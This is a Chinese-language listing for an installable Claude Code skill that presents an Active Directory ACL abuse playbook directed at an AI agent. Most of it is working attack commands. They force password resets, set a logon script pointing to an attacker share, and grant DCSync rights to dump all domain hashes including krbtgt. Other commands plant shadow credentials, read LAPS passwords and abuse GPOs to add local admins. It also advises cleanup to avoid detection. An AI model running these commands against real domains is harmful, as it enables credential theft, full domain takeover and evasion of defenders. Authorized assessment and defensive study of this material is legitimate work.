mcpField
A
active-directory-acl-abuse

active-directory-acl-abuse

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 active-directory-acl-abuse

面向 Active Directory 安全评估的 ACL 滥用技能,介绍 BloodHound 枚举、权限链分析及多类常见提权路径。

主要功能

  1. 01BloodHound 数据收集与查询
  2. 02危险 ACE 类型分析
  3. 03DCSync 权限与操作
  4. 04影子凭据攻击流程
  5. 05LAPS 密码读取与 GPO 滥用

适用场景

  1. 01枚举域内 ACL 权限关系
  2. 02分析通往域管理员的路径
  3. 03在授权评估中检查 GPO 与 LAPS 风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill active-directory-acl-abuse

安装后在 Claude Code 中输入/active-directory-acl-abuse确认已加载。

附带文件BLOODHOUND_PATHS.md

详细介绍

技能:滥用 AD ACL——专家攻击手册

AI 加载指令:专家级 AD ACL 滥用技术。涵盖 BloodHound 枚举、危险 ACE(GenericAll、WriteDACL、WriteOwner 等)、DCSync、影子凭据、定向 Kerberoasting、组操纵、LAPS 和 GPO 滥用。基础模型会遗漏复杂的 ACL 链利用和 Cypher 查询模式。

0. 相关路由

深入研究之前,可以考虑加载:

高级参考

需要以下内容时,也请加载 BLOODHOUND_PATHS.md:

  • 常见的 BloodHound 攻击路径及 Cypher 查询
  • 用于查找复杂链的自定义 Neo4j 查询
  • 数据收集和导入提示

1. BLOODHOUND 枚举

数据收集
# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# Specific collection methods
SharpHound.exe -c DCOnly          # Fastest — only DC queries
SharpHound.exe -c Session         # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup  # Include GPO analysis
关键 BloodHound 查询(内置)
  • “查找所有域管理员”
  • “从已控制的主体到域管理员的最短路径”
  • “查找拥有 DCSync 权限的主体”
  • “到非约束委派系统的最短路径”
  • “查找域用户是本地管理员的计算机”

2. 危险 ACE 类型

ACE对用户的影响对组的影响对计算机的影响
GenericAll更改密码、设置 SPN、修改属性添加成员RBCD、读取 LAPS、所有属性
GenericWrite设置 SPN、修改属性、影子凭据添加成员RBCD、影子凭据
WriteDACL授予自己任意权限同左同左
WriteOwner获取所有权 → 然后使用 WriteDACL同左同左
ForceChangePassword无需知道旧密码即可重置密码不适用不适用
AddMember不适用将自己/他人添加到组不适用
AllExtendedRights强制更改密码、读取 LAPS不适用读取 LAPS、BitLocker 密钥
ReadLAPSPassword不适用不适用读取本地管理员密码
WriteSPN设置 SPN → 定向 Kerberoasting不适用不适用

3. 针对特定 ACE 的利用

用户上的 GenericAll
# Option 1: Force change password
net user targetuser NewP@ss123 /domain

# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN

# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
计算机上的 GenericAll / GenericWrite
# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
WriteDACL
# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
WriteOwner
# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# Step 3: Now exploit as GenericAll
ForceChangePassword
# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
将成员添加到组
# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

4. DCSYNC 攻击

前提条件

主体需要对域对象拥有以下两种复制权限:

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
执行
# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc
默认情况下哪些主体拥有 DCSync 权限?
  • 域管理员
  • 企业管理员
  • 域控制器组
  • BUILTIN\Administrators(在域对象上)

5. 影子凭据

攻击流程

在目标上写入 msDS-KeyCredentialLink → 生成证书 → 通过 PKINIT 进行身份验证。

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file

# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

清理:移除添加的密钥凭据,以避免被发现。


6. 读取 LAPS 密码

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

7. GPO 滥用

查找可写入的 GPO
# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}
通过 SharpGPOAbuse 利用
# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

8. ACL 攻击决策树

Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│   └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│   ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│   ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│   ├── ForceChangePassword → reset password directly (§3)
│   ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│   └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│   ├── AddMember / GenericAll → add self to privileged group (§3)
│   └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│   ├── GenericAll/GenericWrite → RBCD attack (§3)
│   ├── AllExtendedRights → read LAPS password (§6)
│   └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│   ├── WriteDACL → grant DCSync rights to self (§4)
│   └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│   └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
    └── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis

评论

支持 Markdown